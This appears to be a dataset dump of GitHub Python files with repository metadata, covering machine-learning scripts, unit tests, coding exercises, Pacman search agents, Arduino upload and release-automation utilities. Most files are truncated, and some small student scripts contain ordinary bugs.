e965ba1c76f72fa0e46d860ed278925ca8525dda | 85edcdcd74092f53dcef4ab2ed6cfec768ae350b | /Cart_mnist.py | 1985d4326a9200f454deadf927461b8f9d3c2c6f | [] | no_license | wangfangfang-2/BI | 9e4f6435b21e72344c334bf0d974843b07cdbb34 | a2f073653458d9506565246eaa52cddd5eb83394 | refs/heads/master | 2022-12-04T08:36:32.134460 | 2020-08-25T01:15:24 | 2020-08-25T01:15:24 | 289,218,113 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,529 | py | Cart_mnist.py | from sklearn.model_selection import train_test_split
from sklearn import preprocessing
from sklearn.metrics import accuracy_score
from sklearn.datasets import load_digits
from sklearn.svm import SVC
import matplotlib as plt
from sklearn.metrics import confusion_matrix
import seaborn as sns # 数据可视化的包
from sklearn.tree i... |
e760e65443f0d9b8ee33dd6989eb72c7070b301f | c3634c5c48ba9a0c24cb7e6aa80b63125b7025c9 | /chainerx/random/distributions.py | d85c78b8f69efe31fbc2b7d4eb2373212c62b6ca | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | crcrpar/chainer | 37971c4cf8fdb2b0d0e6a13c7fcd14b317906066 | 307a858b053e86b140fa71432fa60950dc83bee6 | refs/heads/master | 2021-04-15T06:09:02.804146 | 2019-10-03T15:28:34 | 2019-10-03T15:28:34 | 126,554,508 | 2 | 0 | MIT | 2019-10-09T01:19:54 | 2018-03-24T01:18:00 | Python | UTF-8 | Python | false | false | 1,057 | py | distributions.py | import numpy
import chainerx
# TODO(sonots): Implement in C++, especially in CUDA
def normal(*args, **kwargs):
"""normal(*args, **kwargs, device=None)
Draws random samples from a normal (Gaussian) distribution.
This is currently equivalent to :func:`numpy.random.normal`
wrapped by :func:`chainerx.a... |
3aedd64be203afc700352e444dcb4ecbe291120a | 51690455ef934a84dc839b6bfdbf3d6e40b3a450 | /test_getting_to_philosophy.py | a34cfd2de9e1e4dd71f73794fee53ce2639d5277 | [] | no_license | cchilds1/Getting-To-Philosophy | fe23fa078089dd904e6faa2c344fc4e7713be0ba | 1de643148a9b252fb304312c7a0e8283d36a094e | refs/heads/main | 2023-04-05T19:13:44.187674 | 2021-04-27T00:50:51 | 2021-04-27T00:50:51 | 361,935,170 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,905 | py | test_getting_to_philosophy.py | import unittest
import sys
import io
from getting_to_philosophy import find_philosophy, get_next_url, remove_paren, MAX_HOPS
class TestPhilosophy(unittest.TestCase):
def test_remove_paren(self):
test_str = '(hello[123]world[testing[123]])hello[ ](abc (def)) world( )'
self.assertEqual('hello world'... |
4e63066f3bc23b22ec32d48decdcb9ac28331de1 | 40fcc1dc3e7adfbfab930bfa0dae75c15d4b7723 | /exemplo_3.py | 90ba6dc003e722eb4039bcbf3102daf145df1235 | [] | no_license | PedroH01/Kick-Aula_Python | aa86bd149198e3e519433417940ff0cc46461b63 | 925b78f505db36bf0bb80615ca8fdb88212e4b9d | refs/heads/main | 2023-08-14T00:24:04.063062 | 2021-09-28T02:19:03 | 2021-09-28T02:19:03 | 411,101,626 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 670 | py | exemplo_3.py | import os
n1 = float(input("Digite um número: "))
n2 = float(input("Digite outro número: "))
print("-----------MENU-----------------------")
print("1 - Soma")
print("2 - Subtração")
print("3 - Multiplicação")
print("4 - Divisão")
print("--------------------------------------")
opc = int(input("Escolha uma opções: "))... |
8dfa694393d9d3a42508a9280c4fa6f74c98c490 | a844c168d96c28419456204aa30ad5dc31feaa90 | /fancy/trainer/configs/dataset_config.py | 4624f614a6c51ff14bb4609796f1924fbdc490fc | [
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | susautw/fancy-trainer | 975d1390e9b5a093ef28ca0fe4ec7e8fb59623b4 | eeb7ba1a541a8070171f1be972f8d99f81a4bff9 | refs/heads/master | 2023-02-22T03:46:45.012055 | 2021-01-28T07:24:16 | 2021-01-28T07:24:16 | 333,678,883 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,621 | py | dataset_config.py | from typing import MutableMapping, Callable
from ..configs import ImporterConfig
from fancy import config as cfg
from torch.utils.data import DataLoader, Dataset
class DatasetConfig(ImporterConfig):
param: dict = cfg.Option(default={}, type=cfg.process.flag_container)
batch_size: int = cfg.Option(default=1,... |
dbdba97057ecc3b0ab6924255acdccd697246c8d | 2fc1acb9e0f1ae989461f601cb63a796526a8e0c | /interview_bit/dp/solve.py | af5461a5bc26e14a917ba4cc32a71b3a796dd1e2 | [] | no_license | anojkr/help | 4ff64ef9503c90d36e9c051c4d912cf727c1e077 | f2f0b46b19b5efbf888e063606c78db2cbfdd306 | refs/heads/master | 2020-06-28T01:54:10.344799 | 2019-10-31T07:35:28 | 2019-10-31T07:35:28 | 200,111,917 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 567 | py | solve.py |
d = {
"mobile" : 1,
"samsung" : 1,
"sam" : 1,
"sung" : 1,
"man" : 1,
"mango" : 1,
"icecream" : 1,
"and" : 1,
"go" : 1,
"i" : 1,
"love" : 1,
"ice" : 1,
"cream" : 1
}
result = ""
strm = "iloveicecreamandmango"
c = 0
def solve(s, dic, n):
for i in range(0, n+1):
global result
... |
fefb4a65e3cff79e3d57751490cb11ffc06dc1e7 | f63b19e24a327b3c463d8e9068a6c44758081e0c | /15/15-2.py | 42a94a58e3332007458c073bc350b5b7b9aa2fc3 | [] | no_license | folded/aoc-2020 | 551688c0c91f2769308083faf20ad479b43c9ebb | 417f1cfc394478e8c4e59e9d54050698334526a7 | refs/heads/main | 2023-02-04T04:58:13.599663 | 2020-12-25T12:19:45 | 2020-12-25T12:19:45 | 320,934,060 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 404 | py | 15-2.py | import sys
import collections
numbers = list(map(int, sys.stdin.readline().split(',')))
mem = collections.defaultdict(collections.deque)
for i in range(30000000):
if len(numbers):
x, numbers = numbers[0], numbers[1:]
mem[x].append(i)
else:
if len(mem[x]) == 1:
x = 0
else:
x = mem[x][1]... |
eb53f1f11130c43cc45f2a260d132b2a52153f8a | 6c58e4b03d42c605ebb016d813cc11a644cfce46 | /arduino_upload.py | 3c91c3954aef467c58504834e3f60716c6cee1ab | [
"LicenseRef-scancode-public-domain"
] | permissive | Projectsbackup/Project1 | e7f8f391ae1a432c4207fdd0a9fce5963264fdf3 | c26a708e45c8c9d8ed01d3f8138502eec932a062 | refs/heads/master | 2020-05-17T14:49:05.503559 | 2019-04-27T13:57:53 | 2019-04-27T13:57:53 | 183,774,236 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,199 | py | arduino_upload.py | # -*- coding: utf-8 -*-
import subprocess
import serial.tools.list_ports
import time
arduino_ports = [
p.device
for p in serial.tools.list_ports.comports()
if 'Arduino' in p.description
]
if not arduino_ports:
raise IOError("No Arduino found")
if len(arduino_ports) > 1:
warnings.warn('... |
18300c2dce57330176166eb5d9f01a3d43ba74ca | 67d5d2ec63076572043391893c0065c486cf589f | /train_wgan.py | 4403072f8d7d435f8bb4e2bc0d061dcdf8f36d2c | [] | no_license | Pr0gCat/NotEnoughPuiPui | 970fa41f7091018cfef4a43dc56ee0d72d67acb3 | 6dad58ee4fafcbfc59e6a647a67d4f0c1d6d025a | refs/heads/main | 2023-08-05T13:52:02.345828 | 2021-09-18T11:46:37 | 2021-09-18T11:46:37 | 396,726,548 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,658 | py | train_wgan.py | # # 用WGAN方法GAN出更多天竺鼠車車圖片
#
# 產生圖片大小: 64x64
#
from os import path
import time
import torch
import torch.nn as nn
import torch.optim as optimizers
import torchvision.transforms as transforms
from torchvision.datasets import ImageFolder
from torch.utils.data import DataLoader
from torchvision.utils import make_grid
import... |
b7b8e0a343c15f7bffd491472d6ef3de64d82873 | fe6f183202e10e6c65f53a57e897ccde7ac6aef7 | /function2.py | cac83b53e9d3d90d8cc11a5d1d143bf40ffd309e | [] | no_license | B2Metric-AI/db-for-learning-python | 11f623b8250795e6533d1537661e8e2d756a9f0c | 59fd408c70417505e5c51ea88099bcfc6a7263c7 | refs/heads/master | 2022-01-05T12:56:14.062140 | 2018-10-20T13:32:14 | 2018-10-20T13:32:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 151 | py | function2.py | # Function2
def calc(f, data):
return f(data)
print(calc(len, "Hello"))
print(calc(sum, [1,3,4]))
print(calc(max, [1,3,4]))
print(calc(min, [1,3,4])) |
e04c2dd810a8bdc531de5097b6ebceeddfb12682 | 35f22aecc115f3cf81d681f10ace241577b6b580 | /game.py | ea350c94b42873489302ad3cb3dce1a29ee23ac9 | [] | no_license | PFSailva/desafio_log_api | 1fece06dace004348b34c079af6362a732405f96 | e418d3adcc6abcbb615b931bbc057c9b4f38aae7 | refs/heads/main | 2023-01-28T22:27:57.126379 | 2020-12-16T01:53:53 | 2020-12-16T01:53:53 | 321,329,371 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 90 | py | game.py | class Game: # Definindo o Objeto Game
total_kills = 0
players = {}
kills = []
|
2554ef39b125b74b86cc5e7b5af7f138387301f7 | 4201f1eeb205a22fa8f2f9c8ecdfa4df47c0fbe2 | /multiAgents.py | 0da2e67c6873edaa531042d08f8fa7a39170518e | [] | no_license | leonyhenn/Multiagent_Pacman | baddcf27fd813cbd71072dcd70fb9a403cb85479 | a08d30391eb31b5fd9127310aa13b381d133dcc2 | refs/heads/master | 2020-06-24T23:50:25.843643 | 2019-07-27T07:14:10 | 2019-07-27T07:14:10 | 199,130,253 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,673 | py | multiAgents.py | # cd /Users/study/Test/384/a3/multiagent
# multiAgents.py
# --------------
# Licensing Information: You are free to use or extend these projects for
# educational purposes provided that (1) you do not distribute or publish
# solutions, (2) you retain this notice, and (3) you provide clear
# attribution to UC Berkeley,... |
af4e65cc1325b8032d49772dd25944425e82cdc9 | c56ddcc2807151a5c44d3a1d65a1984bc8fd9b84 | /6 кю/Arabian String.py | e309d654328baffe179082b8108fcf0101f0daa8 | [] | no_license | kelpasa/Code_Wars_Python | 2cd18dd404603a6535887e8e6ed2d08da19562ba | 939ec1dd08ffc7939bb9a139bf42901d6f24fbdd | refs/heads/master | 2022-12-17T02:00:28.319351 | 2020-09-23T09:11:20 | 2020-09-23T09:11:20 | 246,642,898 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 444 | py | Arabian String.py | '''
You must create a method that can convert a string from any format into CamelCase. This must support symbols too.
Don't presume the separators too much or you could be surprised.
Tests
camelize("example name") # => ExampleName
camelize("your-NaMe-here") # => YourNameHere
camelize("testing ABC") # => TestingA... |
51fbc5184e54e23338b68f92047994dd70db74e9 | f0bbe18e5835abd726a066d0bd5b634142f70a79 | /14-file-input-output/exo14.py | e8acceec10beb528a873bd65c52539915a892d5c | [] | no_license | FlowCAD/tuto-python | 9a49b3ccce30a785e71a6ec25362ce822959ee7d | 3e76e954a538cf8b0e6d2bb04e60793b4ff328e8 | refs/heads/master | 2021-04-30T12:17:47.148107 | 2018-03-13T12:37:25 | 2018-03-13T12:37:25 | 121,272,059 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 564 | py | exo14.py | # Python file I/O (input/output)
#Writing the result of a list comprehension in an output file
my_list = [i ** 2 for i in range(1, 11)]
my_file = open("output.txt", "w")
for i in my_list:
my_file.write(str(i)+ "\n")
my_file.close()
#Reading the written data
my_file = open("output.txt", "r")
print my_file.read()
my... |
679bf95bc4249ad36ce5165f0e320559c4b5a289 | 4349b49b4f46fdf54b3986089d0248d8934fe23b | /app/chatbot.py | 375143c503d759c7effe831e93c598dee6e4b46b | [] | no_license | mykeleony/CoronaTalker | c0100004fde35e9b1600e8e33c2d887acca2f6a5 | bc20bc2bed2b6fe172b3736230b4d435857ca7cf | refs/heads/main | 2023-07-30T10:58:35.320202 | 2021-09-11T02:28:20 | 2021-09-11T02:28:20 | 394,391,748 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 375 | py | chatbot.py | def mostrar_perguntas():
# Funcao que carrega as perguntas disponiveis
def responder(pergunta, nome):
# Funcao que, a partir do numero da pergunta, traz sua resposta
def start():
print('Olá! Meu nome é CoronaTalker. Você pode tirar dúvidas sobre o novo coronavírus comigo!\n')
nome = input('Qual o seu ... |
330cb930fa67bdc3b86cd078de1bc8d9804000f6 | 0abdb3d825bf0053f17290d99384fd825f86c0ef | /uri_1065v2.py | c026098dc6dd1e2f50c8e2dd6d32d9f7ecb117f1 | [] | no_license | GaloMago/URI_Answers_py | 76f36dd9cd689e6430bb73a91fb55099c5891602 | 5409cbf83765c85c6b5c3a600c72e115e73dc2dd | refs/heads/master | 2020-06-02T18:23:17.029856 | 2019-08-06T19:06:53 | 2019-08-06T19:06:53 | 191,264,609 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 501 | py | uri_1065v2.py | def main():
# entrada
n1 = float(input())
n2 = float(input())
n3 = float(input())
n4 = float(input())
n5 = float(input())
contador = 0
# processamento
if n1 % 2 == 0:
contador +=1
if n2 % 2 == 0:
contador +=1
if n3 % 2 == 0:
conta... |
e28ae9c1bbc88bbeb5a4b1e52f4b5ddcf48b90eb | 76bf085a55e87f76829f1fd09c06d13697405ca2 | /themes.py | 62ad0f5ffb84425c2b445ae1536183f9bd20c894 | [
"MIT",
"Apache-2.0"
] | permissive | carl-codling/PiDrop | 44bd4103bcb2697a4933bf5f45ab265b3681920e | e904439ddf089129a9d6ae7573c30578bdfa909f | refs/heads/master | 2020-03-10T22:59:34.718047 | 2018-05-16T03:58:59 | 2018-05-16T03:58:59 | 129,631,097 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,872 | py | themes.py | #!/usr/bin/python
palettes = {
'light': [
('body', 'black', 'light gray'),
('body_focus', 'yellow', 'yellow'),
('header', 'white', 'dark blue'),
('footer', 'dark green', 'light gray'),
('importer', 'white', 'light blue'),
('importer focus'... |
68cff03cdc3600d9db9108b817e8ed7f8f097768 | 467f10b7537f12e3532537579513da8849848eaa | /DNN/MultiCameraTracker/GymCameraProcessor/AOITest2.py | 926c717776ec7e07fbe5b1e4a2cd1ff01162d109 | [] | no_license | MatthewR2D2/MachineLearningCodes | db5a71efc0f4bcb6f8857efd9560b5be8ef3a857 | df18a73227662b312987cae28d312380be6474c0 | refs/heads/master | 2021-06-12T15:45:16.781989 | 2019-05-31T01:57:35 | 2019-05-31T01:57:35 | 128,754,682 | 0 | 0 | null | 2019-02-14T00:33:08 | 2018-04-09T10:28:14 | Python | UTF-8 | Python | false | false | 4,612 | py | AOITest2.py | """
Created on Wed Oct 3 16:03:30 2018
@author: Matthew Millar
What it does:
This is a simple test of running process on every frame at once.
What it needs:
Related Classes:
"""
import cv2
import time
from GymCameraProcessor import GymVideoProcessing as gvp
from GymCameraProcessor import OutputVideoHandler as video_sa... |
d3e5c4bb776996f2250c027e040114add684267c | 11eddcfb756c8e951e761450f34e79d286693598 | /Python/excel2database/main.py | 62a6c17c340cb6599179dbfb106f3c043cd3e5eb | [] | no_license | mrwlwan/workspace2014 | 81ca053f567a613d44ab14aa880f220da2b48b21 | 890aae249feca9ec9aa68cb1a8b531924ab56c3b | refs/heads/master | 2020-04-15T05:41:51.171149 | 2013-07-29T05:01:55 | 2013-07-29T05:01:55 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 320 | py | main.py | # coding=utf8
from models import Order, OrderQuantity, DeliveryEntity, ReceivingEntity, ManufactureOrder, BOM
if __name__ == '__main__':
Order.transform()
OrderQuantity.transform()
DeliveryEntity.transform()
ReceivingEntity.transform()
ManufactureOrder.transform()
BOM.transform()
|
f24299f601afadfd43809de81a3fa482237f7813 | 84d407edfdb4d15a2ae9918d473e8cb162c0477a | /app/viz/plot.py | ead7baeae476246c81df58f2975195d4c4f2250b | [
"BSD-2-Clause"
] | permissive | hotelzululima/memex-explorer | eadaabc165d6e002c3ad3d3b1706e5bb9e9701b8 | 9bccd627c15eb5aa5fa05db145ac94e41fed308a | refs/heads/master | 2021-01-20T23:16:44.593628 | 2015-01-21T23:50:16 | 2015-01-21T23:50:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 371 | py | plot.py | from abc import ABCMeta, abstractmethod
from bokeh.models import ColumnDataSource
from bokeh.plotting import Document, Session
class PlotManager(object):
__metaclass__ = ABCMeta
@abstractmethod
def __init__(self, plot):
self.doc_name = '%d_%s' % (plot.id, plot.name)
self.plot = plot
... |
5de3271b00dd0cb30930315d31a351b5b8721589 | 576f09a0b3c9f369a6a3666d86e13dc5039cfd2a | /core/statemgr/state_manager.py | 1a9c6e2bfa0b011ec0cb021f0943316bb96884b2 | [] | no_license | sihcpro/async-python-cqrs-pattern | ed3df8603f5fb8cbd88be410ee294711432dc9f2 | 1c835f8ffaf60ce4bf1e553acd71e6bd07a861c5 | refs/heads/master | 2023-06-03T04:40:56.345813 | 2021-06-17T23:49:32 | 2021-06-17T23:49:32 | 289,687,118 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 144 | py | state_manager.py | from .state_connector import StateConnector
from .state_register import StateRegister
class StateMgr(StateConnector, StateRegister):
pass
|
96e45a6b5f23fbd6c030f377d0b94c797c461d1b | 01756ecc8eccfb2252a657658ebc1406bc8c3e82 | /tests/test_api.py | 43ef45d35efc82984d78e42568da06bb98963166 | [
"MIT"
] | permissive | cyberbikepunk/babbage.fiscal-data-package | e8b4c9ad96a0b45ddf46f8429855aa27c85056c9 | 8bc803d7294c153ba3b546d699c3d5ad3c4d1715 | refs/heads/master | 2020-12-29T03:07:28.233606 | 2016-05-17T14:21:41 | 2016-05-17T14:21:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,417 | py | test_api.py | from threading import Semaphore, Thread
import os
from http.server import HTTPServer, BaseHTTPRequestHandler
from elasticsearch import Elasticsearch, NotFoundError
from flask import Flask, url_for
from flask.ext.testing import TestCase as FlaskTestCase
from babbage_fiscal import config
from babbage_fiscal.api import... |
d5674cdf39da8e96707294d5f70287a4d50a98f6 | 0d0ec25c203912152af8e6a15419fa467bf67724 | /test.py | 150b76a33726c3a084e9012b731d76e53e6ebe3e | [] | no_license | Sunnesoft/efficient_net | 0835f52139fdd97047d50fadd9e206d2251668e2 | df07a63961c90e7d396dfae80642ff50011b92d8 | refs/heads/main | 2023-04-03T08:14:59.336972 | 2021-03-21T21:43:08 | 2021-03-21T21:43:08 | 347,670,377 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 475 | py | test.py | import tensorflow as tf
with tf.device('/device:CPU:0'):
BATCH_SIZE = 8
CHANNEL_COUNT = 3
CLASSES_NUMBER = 10
en = tf.keras.applications.EfficientNetB0()
en.compile(optimizer=tf.keras.optimizers.RMSprop(),
loss=tf.keras.losses.CategoricalCrossentropy(),
metrics=['accu... |
ec9aab4f7b96066aa71d9774fa08c9dc99fbccde | 1d0ab5453140563ec41ba9a8079c50c9dd766543 | /foxylib/tools/string/tests/test_string_tool.py | 52bbb9c2f64a118ce1836fd9199abc47a894a9d5 | [
"BSD-3-Clause"
] | permissive | yerihyo/foxylib | 7aa3d5716278c526e94a5ca2a2c0826880436819 | a3c51793d71f1188ee4d317c6adbc0a0addbb103 | refs/heads/develop | 2023-08-31T01:32:05.130577 | 2023-08-30T03:06:38 | 2023-08-30T03:06:38 | 168,637,095 | 1 | 2 | BSD-3-Clause | 2023-09-12T23:48:55 | 2019-02-01T03:32:02 | Python | UTF-8 | Python | false | false | 570 | py | test_string_tool.py | import logging
import re
from unittest import TestCase
from foxylib.tools.log.foxylib_logger import FoxylibLogger
from foxylib.tools.string.string_tool import StringTool
class TestStringTool(TestCase):
@classmethod
def setUpClass(cls):
FoxylibLogger.attach_stderr2loggers(logging.DEBUG)
def test_... |
1d37d5c760dc7b5e9502e37f63d471eb1d5a6a94 | e53373d072d15da1316a61043747ba5544da9a09 | /website/util.py | 1487402b28e5316f52f9c392adb5c2a875a95ddf | [] | no_license | OWF/owf2014 | 3de4b2c825dd74a68c20036d0108eb0af1e3208d | 3d64302bb43c43fa1bd332490da62739e70aa126 | refs/heads/master | 2020-04-05T22:48:34.143204 | 2014-12-05T15:19:59 | 2014-12-05T15:19:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 411 | py | util.py | from flask import request
ALLOWED_LANGS = ['en', 'fr']
def preferred_language():
langs = request.headers.get('Accept-Language', '').split(',')
langs = [lang.strip() for lang in langs]
langs = [lang.split(';')[0] for lang in langs]
langs = [lang.strip() for lang in langs]
for lang in langs:
if len(lang) ... |
ff2d586e5c5df92339ffa098f5ca3cff6301507a | c68ec41b4a310fb58a913e90dfc58ed3c1d79a50 | /1-1803/19day/小明乘地铁高级版.py | ee1776576ddc235f2747e44cca273454cd1f34b8 | [] | no_license | yangzhenya/yazhengya | f0da4aaa430fd6fec62362fa58b80f16f28dee9c | 38b707bda2933db59b369c07aaa1d25b0ce5008d | refs/heads/master | 2020-03-07T20:46:55.899654 | 2018-05-19T14:13:23 | 2018-05-19T14:13:23 | 127,706,678 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 393 | py | 小明乘地铁高级版.py | list = []
all_count = 0#坐的次数
def my_input():
dict = {} #月份和钱
sum = 0#记录每月花多少钱
global all_count #声明要修改变量
month = int(input("请输入月份"))
if month <= 0 or month > 12:
print("输人有误")
return
count = int(input("请输入每天坐地铁的次数"))
if count <= 0:
print("次数输入有误")
return
all_count+=3*count:w
|
f3e7310733288282323a65bd189445024d573cd7 | 6e108e2cb400f67864e2c5008a6997f17c7e144a | /eva-accession-release-automation/run_release_in_embassy/run_release_for_assembly.py | 630f5ec924a7c723033b861b8d7de445901fb1a3 | [
"Apache-2.0"
] | permissive | EBIvariation/eva-accession | e2fa0739b2cf956a02998578d88b7ffa7f7b63aa | 558c19919e1a34f581b8c498d457193b2c6508a1 | refs/heads/master | 2023-08-17T07:10:46.920319 | 2023-08-11T06:44:00 | 2023-08-14T14:35:15 | 123,308,623 | 3 | 17 | Apache-2.0 | 2023-09-12T08:23:48 | 2018-02-28T16:05:21 | Java | UTF-8 | Python | false | false | 4,154 | py | run_release_for_assembly.py | # Copyright 2020 EMBL - European Bioinformatics Institute
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... |
095c09fcef3237430187a733ae082246093b6c63 | 84233329722b2c6b9feaa240b76de479cb5b024d | /plot_vis.py | 83b08af88366aeea669e195d030a79220ac81222 | [] | no_license | hirata10/solid-waffle | 174e1a2f52aa266e95de5a4006628e15f15653a3 | a7cafb07eec010437b26365cf58e8ade996e6691 | refs/heads/master | 2023-08-17T09:20:22.956494 | 2023-05-18T13:32:10 | 2023-05-18T13:32:10 | 99,585,041 | 4 | 1 | null | 2023-05-18T13:29:28 | 2017-08-07T14:10:49 | Python | UTF-8 | Python | false | false | 4,860 | py | plot_vis.py | import numpy as np
import matplotlib
import pandas as pd
matplotlib.use('Agg')
import matplotlib.pyplot as plt
plt.switch_backend('agg')
font = {'family' : 'normal',
'weight' : 'regular',
'size' : 13}
matplotlib.rc('font', **font)
use_cmap = 'gnuplot'
t='output/anna_20829vis_fid1_visinfo.npy'
vis_... |
4290dd869f86e37614bad026e6f1048456db1fa0 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/59/usersdata/161/48019/submittedfiles/testes.py | fe7842f81f13aa3aaf1fdaae0ef6b5385ce0550b | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 175 | py | testes.py | n=int(input('numero:'))
maior=0
menor=a
for i in range(0,n,1):
a=int(input('a'))
if a>maior:
maior=a
if a<menor:
menor=a
print(maior,menor) |
8cec27b595797b1ae3b799dbabb56aa8ed097899 | 2d0a05e69787cff1d3ee6cfa0aade2f1fa00e7dd | /tests/benchmarks/text-0.11.2.3/count.py | ebb071b9bb41ff24511d8c60b58af467ca109343 | [
"MIT",
"BSD-2-Clause"
] | permissive | ucsd-progsys/liquidhaskell | 4da54a0c8bb0716c884dad300ed10e78cce6a78c | 1c659985d53f960ef0b0bccc3ecfb75378a07075 | refs/heads/develop | 2023-08-22T14:43:02.979851 | 2023-08-08T14:23:33 | 2023-08-08T14:23:33 | 5,913,967 | 1,106 | 165 | BSD-3-Clause | 2023-08-30T13:45:43 | 2012-09-22T15:06:55 | Haskell | UTF-8 | Python | false | false | 1,599 | py | count.py | #!/usr/bin/python
# used by count.sh
import re
import sys
import string
fname = sys.argv[1]
str = (open(fname, 'r')).read()
#measures = [(str[a.start():(3+string.find(str,"@-}", a.start()))]) for a in list(re.finditer('{-@ measure', str)) ]
other = [(str[a.start():(3+string.find(str,"@-}", a.start()))]) for a i... |